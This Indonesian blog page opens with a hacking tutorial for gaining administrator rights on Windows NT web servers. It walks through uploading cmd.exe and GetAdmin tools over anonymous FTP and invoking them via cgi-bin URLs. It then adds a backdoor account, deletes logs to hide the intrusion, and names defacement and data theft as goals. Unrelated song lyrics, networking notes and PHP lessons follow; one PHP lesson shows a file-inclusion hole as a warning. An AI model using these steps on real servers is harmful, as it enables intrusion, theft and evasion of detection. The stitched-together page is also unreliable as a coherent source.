Selasa, 09 Desember 2008

teknik Menjadi Admin Pada Windows NT

teknik Menjadi Admin Pada Windows NT

Wah lagi-lagi sistem operasi windows nih yang jadi korban.Kali ini korban kita adalah Sistem Operasi Windows NT. <--- yang udah bosan dan tahu hentikan bacaan anda sampai disini.

Itulah gambaran kelemahan dari OS Windows, begitu banyak kalangan IT yang telah mengetahuinya selain mudah untuk di Crack sistem operasi ini juga sering menjadi santapan para Script Kiddies dan kabarnya lagi sistem operasi ini menjadi server favorite bagi para Hacker, karena sistem ini sangat gampang untuk dikerjain ( he.he..bukan berarti gue nyarankan lu semua jadi Cracker :)~

Seperti halnya kasus bug Unicode dan CodeRed yang telah menimbulkan bencana besar terhadap server yang berjalan pada sistem operasi windows diseluruh dunia. Maka para admin yang menjalankan sistemnya pada paltform windows ini menjadi kalang kabut bagaikan kambing kebakaran jenggot (mbeee.mbeee..mbeeeeee <-- aduh kacian nih..).

Oke ini hanyalah gambaran dari kasus-kasus yang pernah melanda server yang menggunakan Platform Sistem Operasi windows.

Sekarang marilah kita menjadi penguasa tunggal pada server windows NT, mau tahu caranya ? gampang, namun sebelumnya ikuti dulu sponsor berikut ini:

" PENULIS TIDAK BERTANGGUNG JAWAB ATAS DAMPAK YANG DITIMBULKAN OLEH TUTORIAL INI "

Adapun langkah-langkah persiapan melakukan Crack pada SO windows NT adalah sbb:

==========================

1. Kamu harus memiliki PC (personal Computer) yang terkoneksi ke Internet.

2. Sistem operasi yang digunakan sebaiknya menggunakan SO yang sama dengan korban ( OS Windows NT) kenapa harus menggunakan SO ini..? Karena dengan sistem ini nantinya kita akan gampang untuk mengupload file CMD.EXE dari PC kita dan file ini nantinya akan kita perlukan saat melakukan Crack.

3. Tools-tools pendukung seperti program GetAdmin.exe dan Gasys.dll.

4. Browser seperti IE , Netscape dan NeoPlanet ( NeoPlanet adalah Browser yang digunakan penulis).

Oke setelah persiapan diatas terpenuhi sekarang kita akan melakukan tahap berikutnya yaitu tahap Cracking pada sistem operasi windows NT yang mana tujuan akhir kita adalah untuk mendapatkan password administratornya. Dimana dengan mendapatkan password dari admin ini maka kita akan dapat melakukan apa saja dengan server korban, seperti deface, pencurian data, pencurian password client, dll.

Berikut adalah tahap-tahap dalam melakukan cracking .
============================================



1.Jalankan MS-DOS prompt.

2.Siapkan target yang ingin anda crack, anda dapat mencarinya dengan bantuan search engine seperti google, yahoo, exite, altavista, dan lain-lain. (penulis sendiri lebih senang menggunakan scan engine Operasi Sistem seperti netcraft ).

3. Jalankan FTP anda dengan koneksi tujuan adalah server target dan alangkah baiknya bila anda memiliki program port scanner, karena kita akan mengetahui apakah terget kita akan menjalan kan servis FTP atau tidak. Dan dengan menggunakan program port scanner ini anda dengan mudah nantinya menentukan port-port berapa saja yang terbuka

contoh beberapa port dan nama mesin pengunaan:
---------------------- ----------------------------------------------

Port: Mesin yang bekerja:
====================

21 ftp
22 ssh
23 telnet
80 http
====================



Contoh command dalam melakukan ftp :

C:ftp www.hvd-79.com maka ada pesan :

Connected to www.hvd-79.com 220 medinet microsoft FTP
Service (version 3.0)
User(www.hvd-79.com : (none)): Anonymous (Enter)
Anonymous accses allow, send identify (email name) as
password:

Koneksi ini menjelaskan bahwan nama NetBios dari server adalah medinet. Dan dari sini kita juga akan tahu nama account dari user adalah Anonymous yang digunakan oleh windows NT untuk menjalankan mesin seperti FTP, WWW dan Ghoper pada server tersebut.

Bila saja admin sebelumnya belum pernah mengganti account default pada server tersebut, maka user account internet Anonymousnya adalah IUSR_SATURN.

Sedangkan untuk passwordnya kita hanya perlu memasukan nama email kita atau bisa juga nama email yang kita ciptakan sendiri (coba aja admin@hvd-79.com).

Setelah perintah diatas anda isi semua maka anda sudah diizinkan untuk login pada direktori FTP anda dan silahkan mencoba command cd, dir, untuk masuk dan melihat isi didalam suatu direktori sedangakan perintah put biasanya digunakan oleh para Cracker untuk mengupload atau meletakan trojan pada server korban.

==============================================
Berikut ini saya sertakan juga daftar command yang bisa anda gunakan pada ftp:
==============================================

! delete literal prompt
send
? debug ls put
status
append dir mdelete pwd
trace
ascii disconnect mdir quit
type
bell get mget quote
user
binary glob mkdir recv
verbose
bye hash mls remotehelp
cd help mput rename
close lcd open rmdir

===========================================

Namun disini kita juga harus memahami bahwa tidak semua perintah ftp dapat anda gunakan seperti command "put" command ini pada umumnya dibatasi penggunaannya sebab si Admin yang pintar tidak akan mengijinkan accses write untuk user Anonymous dan bila ini kita paksakan maka hasilnya adalah " acces denied ". Terkadang disini admin yang kurang memperhatikan allow setting servernya maka kita akan dizinkan untuk mengupload file apa saja yang kita inginkan.

Selanjutnya jika anda menemukan direktori cgi-bin maka ini adalah suatu keberuntungan. Segeralah masuk ke direktori cgi-bin tersebut dan siapkan file transfer tipe binary dan cobalah mengupload file CMD.EXE dari disk anda.

Contoh perintahnya sebagai berikut:
============================

ftplcd c:winntsystem32
Local directory now C:winntsystem32.
ftpput cmd.exe
226 transfer complate
208144 byte sent in 0,05 second (4639,7 byte/sec)

Kemudian lakukan hal yang sama untuk mengupload file getadmin.exe dan gasys.dll pada direktori yang sama yaitu cgi-bin.

ftplcd c:winntsystem32
Local directory now C:winntsystem32.
ftpput getadmin.exe
226 transfer complate

dan

ftplcd c:winntsystem32
Local directory now C:winntsystem32
ftpput gasys.dll
226 transfer complate

Setelah semuanya selesai anda upload sekarang kita beralih ke browser dan ketikanlah link dibawah ini:

http://www.hvd-79.com/cgi-bin/getadmin.exe?IUSR_MEDINET



setelah beberapa menit kemudian akan muncul pesan cgi-error dan pada tampilan error tersebut terdapat tambahan :

CGI-ERROR
congratulation , now account IUSER_MEDINET have administrator rights.

Nah sekarang ini artinya account Anonymous anda telah berpangakat sama dengan administartor lokal. Dengan demikian maka anda dapat melakukan apa saja terhadap server yang anda crack tersebut seperti yang saya contohkan tadi (melakukan deface, pencurian data, pencurian password client dll).

Namun untuk menjaga account anda agar tetap awet maka anda saya sarankan untuk membuat accout sendiri , kamu bingung dan tak tahu caranya..? gampang kok..

Untuk membuat account baru pada IE anda inilah contohnya :
===============================================

Dimana contoh : User= ntbaruku dan Password = hvd-79 maka ketikanlah link anda seperti dibawah ini:

http://www.hvd-79.com/ cgi-bin/ cmd.exe?/c+ c:winntsystem32net.exe+ ntbaruku+hvd-79+/add

dan untuk membuat anda sebagai administrator ketiklah pada browser anda sebagai berikut :

http://www.hvd-79.com/cgi-bin/getadmin.exe?ntbaruku

Kemudian clik tombol start dan melalui find cari komputer dengan nama www.HvD-79.com setelah komputer tersebut ditemukan clik kanan mouse anda dan klick explore maka pada saat itu pula akan muncul pertanyaan untuk User dan Password maka isikanlah dengan ( ntbaruku dan hvd-79 ) sebagai user dan passwordnya.Dengan langkah ini maka anda telah menjadi admin benaran.

Upss.. tapi anda jangan senang dulu masih ada pekerjaan yang sangat penting yang harus anda lakukan, pekerjaan apakah itu ? Menghilangkan jejak, ya bila anda ingin menjadi seorang hacker handal anda tidak boleh ceroboh karena setiap perintah yang anda ketikan tadi sewaktu melakukan cracking maka logfiles anda akan tertinggal disana dan ini akan membahayakan diri anda sendiri sebab nomor IP anda akan di rekam disana dan ini dapat dimamfaatkan kembali oleh Admin yang sesungguhnya untuk menuntut serta menangkap anda atas perbuatan penyusupan dan perusakan sistem mereka.

Namun berhubung anda telah menjadi seorang Admin maka segeralah menghapus files-files yang tadi anda upload pada direktori cgi-bin yaitu file cmd.exe, getadmin.exe dan gasys.dll karena anda tidak membutuhkannya lagi.

Tindakan penghapusan files-files tadi adalah untuk memastikan jejak anda tidak tertinggal disana yaitu adanya files (cmd.exe, getadmin.exe dan gasys.dll) pada direktori cgi-bin. Dan untuk menghilangkan seluruh logfiles anda yang tertinggal masuklah kedirektori winntsystem32logfiles <-- segera hapus jejak anda yang tertinggal.

Berikutnya kita juga dapat melakukan cracking dengan seluruh accout client yang tersimpan pada informasi SAM (security Account Manager) yang terdapat pada server target dengan menggunakan program seperti l0phtcrack namun karena keterbatasan waktu penulis hanya membahas sampai disini.

Oke sebagai saran penutup penulis mengakui tutorial ini masih memiliki banyak kekurangan jadi bila ada saran atau kritikan anda bisa menghubungi penulis lewat email : x-d@plasa.com



Regard

By. HvD-79

--------------------------------------------------------------------------------

Referensi : - "Kejahatan Internet Trik Aplikasi dan Trik Penaggulangannya" oleh R.Kresno Aji, Denny Siswanto dan Tommy Chandra Wiratama. Penerbit PT.Elex Media Komputindo Kelompok Gramedia, Jakarta (c) 2002.

- Pengalaman pribadi penulis saat melakukan hacking.
- "Cracking windows NT" www.neworder.box.sk .

Tools : Anda dapat mencari melalui internet dengan menggunakan search engine (yahoo, google, exite, altavista dll) dengan kata kunci "download GetAdmin.exe ", "download Gasys.dll" atau "download l0pthcrack". Bila anda sulit untuk mendapatkannya silahkan hubungi penulis melalui email diatas.
seize the day
Seize the day or die regretting the time you lost
It's empty and cold without you here, too many people to ache over

I see my vision burn, I feel my memories fade with time
But I'm too young to worry
These streets we travel on will undergo our same lost past

I found you here, now please just stay for a while
I can move on with you around
I hand you my mortal life, but will it be forever?
I'd do anything for a smile, holding you 'til our time is done
We both know the day will come, but I don't want to leave you

I see my vision burn, I feel my memories fade with time
But I'm too young to worry (a melody, a memory, or just one picture)

Seize the day or die regretting the time you lost
It's empty and cold without you here, too many people to ache over

Newborn life replacing all of us, changing this fable we live in
No longer needed here so where do we go?
Will you take a journey tonight, follow me past the walls of death?
But girl, what if there is no eternal life?

I see my vision burn, I feel my memories fade with time
But I'm too young to worry (a melody, a memory, or just one picture)

Seize the day or die regretting the time you lost
It's empty and cold without you here, too many people to ache over

Trials in life, questions of us existing here, don't wanna die alone without you here
Please tell me what we have is real

So, what if I never hold you, yeah, or kiss your lips again?
Woooaaah, so I never want to leave you and the memories of us to see
I beg don't leave me

Seize the day or die regretting the time you lost
It's empty and cold without you here, too many people to ache over

Trials in life, questions of us existing here, don't wanna die alone without you here
Please tell me what we have is real

Silence you lost me, no chance for one more day [x2 then continues in the background]
I stand here alone
Falling away from you, no chance to get back home
I stand here alone
Falling away from you, no chance to get back home

Selasa, 15 Juli 2008

Sedikit Penjelasan Hardware Jaringan

Sekilas mengenai hardware jaringan

=====================================================



Yup, kali ini saya akan coba jelaskan sedikit gambaran mengenai fungsi dari hardware jaringan yang telah di request. Yakni Router, Switch dan Hub. Langsung aja ke bahasannya ...

    

Router : Router, digunakan untuk menyambung 2 jaringan yang berbeda. Sebagai contohnya, untuk menyambungkan antara LAN dengan Internet diperlukan adanya router sebagai jembatan dari 2 jaringan tersebut.

Kedudukan router biasanya diletakkan sesudah modem, kira-kira gambarannya adalah seperti ini.

   
  ___________    
___________     ___________    
___________


    
|          |   
|         
|   
|         
|   
|          |


    
| Internet |----|  Modem   |----|  Router 
|----|   LAN    |


    
|__________|    |__________|   
|__________|    |__________|






       



Router yang digambarkan diatas berfungsi sebagai gateway, sekaligus firewall.



Gateway : Gerbang penantian menuju internet. Masing-masing client/workstation dalam jaringan melewati gateway terlebih dahulu untuk menuju internet. Bisa digambarkan seperti ini :



   
     ___________    
__________________    
___________   


   
     |   
      |   
|                
|   
|          | 


         | Internet |----| WS1 as Gateway1 |----| WS Lain  |

   
     |__________|   
|_________________|    |__________|  


   
              
               |


   
           
                 
|


                            
_____|____


   
             
         
|          |


   
             
          | WS Lain  |


   
           
           
|__________|








Firewall : Biasanya dipasang diantara internet dan router. Firewall berfungsi sebagai tembok keamanan untuk jaringan dalam [ LAN ]. Didalamnya biasanya terdapat fasilitas, firewall, logging, snort. etc.







Contoh router phisik multifungsi seperti itu adalah Cisco Router.
Tetapi saya lebih cenderung memakai alternatif router yaitu menggunakan Smoothwall. Karena smoothwall hanya memerlukan komputer butut yang sudah lama tidak terpakai dengan harddisk sekitar 300 mb, dan tentunya 2 lan card.

Smoothwall adalah distro linux khusus yang didesain untuk menangani masalah router, firewall, dan gateway. Selain itu Router pun digunakan untuk menyambungkan 2 LAN, yang berbeda subnet masknya. Lebih kearah Intranet.



Switch : Biasanya switch banyak digunakan untuk jaringan LAN token star.



Dan switch ini digunakan sebagai repeater/penguat. Berfungsi untuk menghubungkan
kabel-kabel UTP ( Kategori 5/5e ) komputer yang satu dengan komputer yang lain. Dalam switch biasanya terdapat routing, routing sendiri berfungsi untuk batu loncat untuk melakukan koneksi dengan komputer lain dalam LAN.

            

             

Gambarannya adalah seperti ini :     











Hub    : Sama seperti switch, tetapi perbedaannya adalah hub tidak memiliki faslitas routing. Sehingga semua informasi yang datang akan dikirimkan ke semua komputer (broadcast)




Untuk sementara segitu dulu aja penjelasannya yah ... heheuhuehue ... silahkan request lagi.


Nggak mahal kok, cuma 9 jutaan. Huehueh ....

Sumber dari situs Ilmu Website dalam kategori jaringan dengan judul Sedikit Penjelasan Hardware Jaringan

Linux Live USB ?

Jaman sekarang maunya yang live-live-an, awalnya Sistem Operasi Live CD diawali oleh si Penguin OS buatan Linus Torvald, Linux. Akhirnya Microsoft ikut-ikutan ngeluarin windows Xp yang live cd. BTW sekarang ada Linux yang bisa di jalanin langsung dari USB Flash Disk, kalo MCNLive bilang "U can run OS on ur stick !!".
Ya, MCNLive, turunan dari Mandriva, dengan hanya minimal 512 MB kapasitas Flash Disk, kita sudah bisa menjalankan sistem operasi dengan desktop kde yang minimalis dan cantik, plus desktopnya 3D, mantabh ...
Monggo di liat dulu screen shootnya di http://www.mcnlive.org/virtualcity/
atau mau langsung di download di ftp://ftp.nluug.nl/pub/os/Linux/distr/mandrakeclubnl/mcnlive/VirtualCity/MCNLive-VirtualCity.iso

Monggo waeee !!!

Sumber dari situs Ilmu Website dalam kategori linux dengan judul Linux Live USB ?

Perkenalan dengan PHP

Dunia internet berkembang begitu cepat, dari web statis berkembang menjadi web dinamis.
Dunia PHP adalah salah satu dunia pemrograman internet, yang menjalankan web dinamis


[:]Anda membutuhkan Server Console.


Pilih salah satu:
1. PHPTriad, cari di google.com keyword: download phptriad
2. XAMPP (Lebih Proffesional), cari di google.com keyword: download XAMPP, atau klik link ini : XAMPP | Apache Friends | Alternatif WebServer PHP


Jika kesulitan menemukan program diatas, email saya: black.scorpio.night@gmail.com
Baca aturan pakainya...lanjutkan sendiri mudah kok...


[:] Setelah terinstall dengan baik
anda bisa mulai coba


>> script 1:
-----------------
<?
echo "Selamat datang di dunia PHP";
?>
-----------------


Nanti hasilnya: Selamat datang di dunia PHP


>> script 2 (Perkenalan Variabel $xx):
-----------------
<?
$nama = b_scorpio;
echo $nama;
?>
-----------------
Nanti hasilnya: b_scorpio


>> script 3 (Perkenalan Function()):
-----------------
<?
function birthday() {
    $age = 20;
}


birthday();


echo $age;
?>
-----------------
Nanti hasilnya: 20


Sampai di sini anda mungkin sudah ahli, jadi ya saya loncati saja...



[:] Perkenalan PHP super globals


Tabelnya:






































 

 


 


$GLOBALS


Contains any global variables that are accessible for the local script. The variable names are used to select which part of the array to access.


$_SERVER


Contains information about the web server environment.


$_GET


Contains information from GET requests (a form submission).


$_POST


Contains information from POST requests (another type of form submission).


$_COOKIE


Contains inform from HTTP cookies.


$_FILES


Contains information from POST file uploads.


$_ENV


Contains information about the environment (Windows or Mac).


$_REQUEST


Contains information from user inputs. These values should not be trusted.


$_SESSION


Contains information from any variables registered in a session.


*penting !!:
Kedepannya anda akan sering berhadapan dengan PHP super globals.


>> Script 4
-----------------
<?php
$my_string = "b_scorpio";
echo "Belajar PHP dengan $my_string di www.ilmuwebsite.com";
?>
-----------------



[:] Permasalahan Dobel Quote


>> Script 5
-----------------
<?php
// ini tidak bisa bekerja karena ada Dobel Quote pada tag HTML
echo "<h2 class="specialH2">www.ilmuwebsite.com</h2>";
?>
-----------------



>> Script 6
-----------------
<?php
// Dobel Quote dapat diatasi dengan menggantinya dengan Single Quote
echo "<h2 class='specialH2'>www.ilmuwebsite.com</h2>";
?>
-----------------


Sumber dari situs Ilmu Website dalam kategori php kuliah dengan judul Perkenalan dengan PHP

Perkenalan dengan PHP

Dunia internet berkembang begitu cepat, dari web statis berkembang menjadi web dinamis.
Dunia PHP adalah salah satu dunia pemrograman internet, yang menjalankan web dinamis


[:]Anda membutuhkan Server Console.


Pilih salah satu:
1. PHPTriad, cari di google.com keyword: download phptriad
2. XAMPP (Lebih Proffesional), cari di google.com keyword: download XAMPP, atau klik link ini : XAMPP | Apache Friends | Alternatif WebServer PHP


Jika kesulitan menemukan program diatas, email saya: black.scorpio.night@gmail.com
Baca aturan pakainya...lanjutkan sendiri mudah kok...


[:] Setelah terinstall dengan baik
anda bisa mulai coba


>> script 1:
-----------------
<?
echo "Selamat datang di dunia PHP";
?>
-----------------


Nanti hasilnya: Selamat datang di dunia PHP


>> script 2 (Perkenalan Variabel $xx):
-----------------
<?
$nama = b_scorpio;
echo $nama;
?>
-----------------
Nanti hasilnya: b_scorpio


>> script 3 (Perkenalan Function()):
-----------------
<?
function birthday() {
    $age = 20;
}


birthday();


echo $age;
?>
-----------------
Nanti hasilnya: 20


Sampai di sini anda mungkin sudah ahli, jadi ya saya loncati saja...



[:] Perkenalan PHP super globals


Tabelnya:






































 

 


 


$GLOBALS


Contains any global variables that are accessible for the local script. The variable names are used to select which part of the array to access.


$_SERVER


Contains information about the web server environment.


$_GET


Contains information from GET requests (a form submission).


$_POST


Contains information from POST requests (another type of form submission).


$_COOKIE


Contains inform from HTTP cookies.


$_FILES


Contains information from POST file uploads.


$_ENV


Contains information about the environment (Windows or Mac).


$_REQUEST


Contains information from user inputs. These values should not be trusted.


$_SESSION


Contains information from any variables registered in a session.


*penting !!:
Kedepannya anda akan sering berhadapan dengan PHP super globals.


>> Script 4
-----------------
<?php
$my_string = "b_scorpio";
echo "Belajar PHP dengan $my_string di www.ilmuwebsite.com";
?>
-----------------



[:] Permasalahan Dobel Quote


>> Script 5
-----------------
<?php
// ini tidak bisa bekerja karena ada Dobel Quote pada tag HTML
echo "<h2 class="specialH2">www.ilmuwebsite.com</h2>";
?>
-----------------



>> Script 6
-----------------
<?php
// Dobel Quote dapat diatasi dengan menggantinya dengan Single Quote
echo "<h2 class='specialH2'>www.ilmuwebsite.com</h2>";
?>
-----------------


Sumber dari situs Ilmu Website dalam kategori php kuliah dengan judul Perkenalan dengan PHP

Membahas Fungsi if - ifelse - else

Di bagian ini kita akan membahas
- Define
- PHP Decision Making

Ok kita mulai

- Define
di sini saya akan jelaskan sedikit tentang define:
define mirip dengan, "string":
---------------
<?php
define("HELLO", "Hello world!");
echo HELLO;
?>
---------------
Nanti hasilnya: "Hello world."

- PHP Decision Making
PHP Decision Making yang akan saya jelas kan kali ini adalah yang sering di pakai dalam programing website
- if
- else
- elseif


Penggunaan fungsi "if"
Sebagai penalaran "if" anda samakan dengan "jika"
Contoh:
if (kondisi expresi)
{
kode anda;
}

Contoh Penerapan:
<?php
if ($user == b_scorpio)
{
echo "user anda b_scorpio";
}
?>

Contoh Penerapan untuk user autentifikasi:
<?php
if ($user == b_scorpio && $password == 8_5c0rp10)
{
echo "anda berhasil login";
}
?>

Penggunaan fungsi "else"
Sebagai penalaran anda asumsikan "else" sebagai "jika tidak"
Contoh:
if (kondisi expresi)
{
kode anda;
}
else
{
kode anda;
}

Contoh Penerapan:
<?php
if ($user == b_scorpio)
{
echo "user anda b_scorpio";
}
else
{
echo "anda bukan b_scorpio";
}
?>

Contoh Penerapan untuk user autentifikasi:
<?php
if ($user == b_scorpio && $password == 8_5c0rp10)
{
echo "anda berhasil login";
}
else
{
echo "anda tidak bisa login";
}
?>

Penggunaan fungsi "elseif"
"elseif" di gunakan untuk, statment "if" lebih dari satu

Contoh Penerapan untuk user autentifikasi:
--------------
<?php
if ($user == b_scorpio)
{
echo "anda login sebagai $user";
}


elseif ($user == alk)
{
echo "anda login sebagai $user";
}


elseif ($user == johan)
{
echo "anda login sebagai $user";
}


else
{
echo "anda tidak bisa login";
}
?>

Implementasi dari Penerapan untuk user autentifikasi, lebih lanjut Anda bisa lihat di bagian PHP Tutorial


Sumber dari situs Ilmu Website dalam kategori php kuliah dengan judul Membahas Fungsi if - ifelse - else

Membahas Fungsi include - include_once - require

- include()
- include_once()
- require()
Fugnsi di atas berguna untuk menggabungkan file PHP atau bukan PHP kedalam file PHP


+++ include()
sebagai contoh
head.php
-----
<?php
echo "selamat datang di website ku<br>";
?>
-----


body.php
-----
<?php
include 'head.php';
echo "<br>Ini adalah contant atau isi dari website ku<br>";
?>
-----
hasilnya:
selamat datang di website ku
Ini adalah contant atau isi dari website ku


+++ include_once()
"include_once()" berfungsi untuk membatasi fungsi include cuma untuk satu kali saja
contoh jika tidak menggunakan "include_once()":
body.php
-----
<?php
include 'head.php';
include 'head.php';
include 'head.php';
echo "<br>Ini adalah content atau isi dari website ku<br>";
?>
-----
hasilnya:
selamat datang di website ku
selamat datang di website ku
selamat datang di website ku
Ini adalah content atau isi dari website ku


contoh jika menggunakan "include_once()":
body.php
-----
<?php
include_once 'head.php';
include_once 'head.php';
include_once 'head.php';
echo "<br>Ini adalah contant atau isi dari website ku<br>";
?>
-----
hasilnya:
selamat datang di website ku
Ini adalah content atau isi dari website ku


+++ require()
fungsi ini tidak jauh beda dengan fungsi "include()" alias sama,
jadi kita loncati saja fungsi ini



Sekarang untuk sisi security/keamanan dari fungsi include()
kenapa??
ya.. karena fungsi ini paling banyak di manfaatkan hacker ....


1. include hanya file yang berasal dari server anda saja...
caranya:
body.php
------
<?php
include($_SERVER['DOCUMENT_ROOT'].'/head.php');
?>
------
jika file head.php ada di root atau tidak dalam folder


body.php
------
<?php
include_once($_SERVER['DOCUMENT_ROOT'].'/head.php');
?>
------


body.php
------
<?php
require_once($_SERVER['DOCUMENT_ROOT'].'/head.php');
?>
------


Untuk melihat dimana posisi file php anda, anda bisa gunakan:

<?php
echo $_SERVER['DOCUMENT_ROOT'];
?>

!!! PENTING !!!
Jika "$_SERVER['DOCUMENT_ROOT']" tidak bisa jalan di server anda dikarenakan
restrict dari penyedia jasa hosting, anda tetap boleh menggunakan "include 'head.php';"



!!! KESALAHAN YANG FATAL !!!
JANGAN GUNAKAN "VARIABEL" DALAM FUNGSI INCLUDE / REQUIRE
Contoh:
body.php
-----
<?php
include $_GET['file'];
echo "<br>Ini adalah contant atau isi dari website ku<br>";
?>
-----
BAHAYA !!!
kenapa?? karena orang lain bisa menambahkan file dari luar ...!!!


binggo..!!! server anda kena...!!!
------



 


Sumber dari situs Ilmu Website dalam kategori php kuliah dengan judul Membahas Fungsi include - include_once - require

Mengecek Karakter dengan Regular Expressions

Anda mau membuat system check karakter dengan menggunakan Regular
Expressions??

Berikut ada script sederhana yang mungkin bisa menjadi
inspirasi anda:

<?php
$line = "ilmuwebsite";

if (eregi
("^[a-z]+$", $line)) {
    // .. lakukan jika benar
echo "Benar";

}
else {
    // .. lakukan jika salah
echo
"Salah";

}
?>

Deskripsi:
Fungsi if :
saya kira anda sudah tahu
fungsi eregi : ini adalah fungsi untuk
membandingkan
sedangkan ^[a-z]+$ : ini adalah Regular Expressions


Yang berarti:
^ : harus di awal
[a-z] : karakter a sampai z
+ :
lebih dari satu
$ : harus di akhir

Jadi artinya:
1. didepan harus
ada karakter a-z
2. di tengah ada karakter a-z boleh lebih dari 1
3. di
akhir harus ada karakter a-z

Logika:
Bandingkan
kombinasi Regular Expressions ^[a-z]+$ dengan strng $line yang ber
isi "ilmuwebsite"
jika benar tampilkan tulisan Benar, dan juka salah
tampilkan tulisan salah

Ada juga script yang lain:
<?php
if
(ereg ("^[[:alpha:]]+$", $line)) {
    // .. lakukan jika benar
echo
"Benar";

} else {
    // .. lakukan jika salah
echo
"Salah";

}
?>

Penjelasan:
Disin kita menggunakan fungsi
ereg yang berarti case sensitif, lalu kita juga menggunakan [[:alpha:]] sebagai
alternatif lain dari Regular Expression.

Berikut daftar tabel
nya:












































Name Description
[[:alnum:]] All alphanumeric characters
[a-zA-Z0-9]
[[:alpha:]] All alphabetic characters [a-z]
[[:blank:]] Tab and space [\t ]
[[:cntrl:]] All the control characters
[[:digit:]] All decimal digits [0-9]
[[:graph:]] All printable characters except space
[[:lower:]] All lowercase letters [a-z]
[[:print:]] All printable characters
[[:punct:]] Punctuation marks [\.,;:-]
[[:space:]] All whitespace characters
[[:upper:]] All the uppercase letters [A-Z]
[[:xdigit:]] The set of hexadecimal digits

Untuk artikel berikutnya saya coba akan jelaskan
Regular Expression secara lebih jauh
terimakasih
Jika ada salah saya mohon
maaf, jika ada pertanyaan tulis comment di bawah ini :)
Sumber dari situs Ilmu Website dalam kategori php kuliah dengan judul Mengecek Karakter dengan Regular Expressions

Penjelasan | Multi Line String |

Kali ini aku akan mencoba menjelaskan tentang yang namanya multi-line string.

langsung saja...

Sintaks :

<<<string
...scripting...
string;


Penjelasan :

tanda
<<<script mengindikasikan bahwa script selanjutnya merupakan
satu multi-line string yang diakhiri dengan tanda script;

atau script yang berada diantara <<<script s/d script; adalah special quote sign (tanda kutip khusus).


Kegunaan :
kita
dapat meletakkan variabel diantara special text, dan secara otomatis
PHP akan membaca variabel tersebut sesuai dengan nilainya.


contoh aplikasinya seperti dibawah ini...

(aplikasi ini hanya contoh, jadi saya buat sesimple mungkin)

<?

//Scripting On 24 Juli at 22:59

//tampilan form
print <<<safrilbnugroho
<form action= "$_SELF?get=hasil" method="POST">
<input type="text" name=text>&nbsp;<input type="submit" name="submit" value="test">
</form>
safrilbnugroho;

/*
Perhatikan
form diatas, kita tidak perlu menambahkan tanda "\" sebelum tanda kutip
untuk embuat tanda kutip dikenali oleh PHP sebagai tanda kutip HTML,
karena secara otomatis PHP akan membaca tanda kutip tersebut sebagai
tanda kutip HTML bukan sebagai string PHP
*/


//kondisi form
if ($_GET[get]=='hasil') {
print "input anda adalah $_POST[text]";
} else {
print "";
}

?>

selesai sudah...

semoga tutorial ini mudah dimengerti dan bermanfaat. amien..




Sumber dari situs Ilmu Website dalam kategori php kuliah dengan judul Penjelasan | Multi Line String |

php looping


Sekarang saya akan mencoba menjelaskan tentang PHP Looping
di dalam php looping kita dapat menggunakan beberapa fungsi, seperti:

while loops, For Loops, Breaking Out of a Loop, continue Statements.

ok coba kita explain satu persatu

1. While Loops

syntax untuk while loop:

while (expression)
{
code to
execute;
}

contoh while loop yang menghitung sampai 10

script-------------

<?php
$num = 1;

while ($num <= 10){
print "Number is $num<br />\n";
$num++;
}

print 'Done.';
?>

script-------------

menghasilkan:

Number is 1
Number is 2
Number is 3
Number is 4
Number is 5
Number is 6
Number is 7
Number is 8
Number is 9
Number is 10
Done.

script nya akan me-loop sampai 10 dan script $num++ bertambah 1



2. For Loops
syntax untuk For Loops adalah

for (initialization expression; test expression; modification expression){
code that is executed;
}

contoh script untuk for loop:

script-------------

<?php
for ($num = 1; $num <= 10; $num++) {
print "Number is $num<br />\n";
}
?>

script-------------

menghasilkan:

Number is 1
Number is 2
Number is 3
Number is 4
Number is 5
Number is 6
Number is 7
Number is 8
Number is 9
Number is 10




3. Menghentikan sebuah Loop

contoh Menghentikan sebuah Loop untuk menghindari Loop:

script-------------

<?php

$counter = -3;

for (; $counter < 10; $counter++){
// Check for division by zero
if ($counter == 0){
echo "Stopping to avoid zero.";
break;
}

echo "100/$counter<br />";
}

?>

script-------------

menghasilkan:

100/-3
100/-2
100/-1
Stopping to avoid division by zero.

*dia akan loop sampai fungsi if dan karena ada script break, maka proses akan berhenti
*script ini suatu saat akan berguna "Trust me"


4. continue Statements

penggunaan continue selain break

script-------------

<?php

$counter =- 3;

for (; $counter < 10; $counter++){
// Check for division by zero
if ($counter == 0){
echo "Skipping to avoid zero.<br />";
continue;
}

echo "100/$counter<br />";
}

?>

script-------------

menghasilkan:

100/-3
100/-2
100/-1
Skipping to avoid zero.
100/1
100/2
100/3
100/4
100/5
100/6
100/7
100/8
100/9

*dia akan loop sampai fungsi if dan karena ada script continue, maka proses akan berhenti mengganti angka 0 menjadi
Skipping to avoid zero, lalu looping akan di lanjutkan kembali

*script ini juga suatu saat akan sangat berguna

Seperti judul lagu Linkin Park "What I've Done"?
kita telah belajar looping


Sumber dari situs Ilmu Website dalam kategori php kuliah dengan judul PHP Looping

Strpos Mencari Tahu Dimana Posisi Sebuah Karakter

fungsi strpos(); berguna untuk mencari tahu dimana posisi sebuah karakter

strpos($string, "huruf yg akan di cari dalam string");

contoh:
<?php
$name = 'michael';
echo strpos($name, 'e');
?>

jawabannya adalah 5,
mengapa demikian? karena strpos(); akan menghitung mulai dari "m" sampai huruf yang sudah di tentukan yaitu "e",

cara menghitung strpos(); adalah dari mulai angka 0
,

coba anda hitung sekali lagi mulai dari huruf "m" sampai "e" dengan start awal huruf "m" yang dihitung dari 0, hasil nya pasti 5
ini menunjukkan bahwa huruf "e" ada di posisi 5

contoh lain:
<?php
$email1 = "michael@planet.com";
echo strpos($email1, "planet.com");
?>

hasilnya adalah 8
karena
yang di cari adalah sebuah kata "planet.com", maka dia akan menghitung
mulai dari "m" sampai di temukannya huruf "p" huruf pertama dari kata
"planet.com"

contoh lain:
<?php
$email1 = "michael@planet.com";
if (strpos($email1, "planet.com")) {
echo "ada tulisan planet.com";
}
else {
echo "tidak ada tulisan planet.com";
}
?>

contoh
di atas adalah gabungan dari strpos(); dengan fungsi if, yang dapat
berfungsi untuk mengecek eksistensi/ keberadaan, logika dari script di
atas adalah:
jika dalam string $email1 terdapat huruf "planet.com"
maka cetak tulisan "ada tulisan planet.com" sebaliknya jika tidak ada
maka cetak tulisan "tidak ada tulisan planet.com"

artikel terkait strpos()
Sumber dari situs Ilmu Website dalam kategori php kuliah dengan judul Strpos Mencari Tahu Dimana Posisi Sebuah Karakter

Fungsi - fungsi untuk memfilter input form

trim() digunakan untuk
menghapus spasi di kanan dan kiri teks.
htmlentities() digunakan
untuk mengkonversi karakter-karakter tertentu dalam tag HTML, emm..kok ribet
